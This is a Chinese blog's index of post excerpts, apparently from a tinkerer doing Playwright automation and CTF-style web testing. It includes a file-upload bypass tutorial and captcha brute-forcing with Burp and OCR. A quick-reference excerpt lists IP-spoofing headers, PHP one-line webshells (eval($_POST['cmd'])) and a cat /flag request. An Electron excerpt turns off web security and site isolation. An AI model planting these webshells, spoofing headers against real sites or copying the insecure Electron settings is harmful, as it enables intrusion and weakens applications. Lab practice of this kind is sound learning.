我的GitHub
0%

背景

上文我们说到了怎么更新ms-playwright

本篇我们来聊聊怎么迁移playwright的版本

可能有朋友会奇怪,这有什么难的,把node_modulesplaywright相关的库全部移进去不就行了

其实也对,但是如果我是pnpm

其实虽然这一篇是升级playwright,但其实更多的是想表达,如何迁移npm库到离线环境

playwright为例,下面是我的一些探索

各种包管理工具下的迁移

运气比较好

本文成于2023.8.20

阅读全文 »

背景

事情是这样的,因为工作的重复率太高,我不得不开发一些脚本来 摸鱼 提高工作效率

但是问题是这样的

我在的单位内外网是隔离的,我所在的分支机构没有开发人员,总部有研发中心,但是并不会理会我们这些分支机构

内网的npm私有库有一个很老的playwright@1.23.4版本,而我的脚本需要用到一些比较新的特性

我拥有的设备

1
2
3
4
5
6
7
8
9
内网机:
统信UOS(主要跑脚本的机子)
Windows10(办公常用)

外网机:
Windows11

自己的设备:
MacOS(Intel版)

而不同版本的playwright依赖的webdriver又不一样

而我集齐了windows,mac,linux三种设备。。。

这就意味着我不太好下载对应版本的ms-playwright(总不能为了下载对应的webdriver去装个虚拟机吧)

阅读全文 »

文件上传是个经典问题

推荐靶场:upload-labs

我们可以在这个靶场中进行文件上传绕过的练习

先说webshell,我们写个一句话木马先

这里留个大哥若干年前的总结 webshell一句话木马大全

接下来我们聊聊文件上传的漏洞

一.啥防护没有

直接一句话木马上传就完事了

二.前端文件后缀判断

打开开发者工具,提交文件,看是否存在网络请求

阅读全文 »

对于带验证码的爆破,需要对验证码进行识别

可以使用captcha-killer-modified搭配Burp进行爆破

同时推荐ddddocr

现在是2023年9月7日,Pillow==9.5.0当前的ddddocr并未对版本进行兼容

我改了两个docker,有需要可以直接拉取部署

1
2
3
4
5
6
7
# centos
docker pull 329106954/ocr_server:centos
# mac Inter芯片
docker pull 329106954/ocr_server:mac

# 启动
docker run -d -p 9898:9898 --name ddddocr 329106954/ocr_server

验证码填写

1
2
3
4
5
6
7
8
9
10
11
12
POST /ocr/b64/text HTTP/1.1
Authorization:Basic f0ngauth
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: raw
Content-Length: 8332

<@BASE64><@IMG_RAW></@IMG_RAW></@BASE64>
阅读全文 »

背景

好久没写前端的东西了,正好前段时间写typescript时用alias遇到了一些问题,今天来聊一聊。

alias

其实用web框架写应用的时候用的很多啊

比如层级很深的时候

1
import aa from "../../../utils/index"

通过配置alias,比如把根目录配置成@就会写成

1
import aa from "@/utils/index"

这样

具体的路径就不演示了,大家应该都能明白,都用过。

阅读全文 »

信息备注自己快查

记录来自哪个网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

Hackbar

php请求

postform,&符分割,System里面可以任意写

1
eval(system($_POST['cmd'])); 
1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

postform,&符分割,System里面可以任意写

1
eval($_POST['cmd']); 
阅读全文 »

这次我们来聊一聊playwright的一些配置项

一、登录保存数据

网站每次都要登录,很烦,没必要

所以我们登录之后,可以把cookie或者session什么的保存起来

下次登录再把数据注入

这样就不用再登录了

1.先正常登录

就写代码登录

2.保存数据

通过context.storageState保存数据到本地文件
例如:

阅读全文 »

写在前面

好久没写playwright的相关内容了,但最近用的还是挺多的,有些常见的问题,决定还是写下来。

内网安装

我所在的公司内网是不联网的,只有一个npm私有源,并且上游源是需要通过审批才能更新的。

说人话就是,有的包有,有的包没有,没有的包也没办法从上游源拉取。

幸运的是,有playwright的低版本。

不幸的是,安装过程中需要安装若干浏览器内核,在内网是无法下载的。

不过更幸运的是,在掘金随手点开的一篇文章,看到有人提到了这个。

对作者表示感谢。

这里引用一下。

阅读全文 »

一、背景

一个偶然的情况,帮一个朋友写个小工具

需要内嵌用到iframe,并使用document提取其中的一些dom元素

二、报错

好像是这个,记不清楚了=。=

1
Blocked a frame with origin "***" form accessing a cross-origin frame.

三、解决

入口添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.commandLine.appendSwitch('disable-site-isolation-trials');


// ***
new BrowserWindow({
// ***
webPreferences: {
// ***
nodeIntegration: true,
contextIsolation: false,
webSecurity: false,
allowRunningInsecureContent: true
},
})

四、正常拿dom

阅读全文 »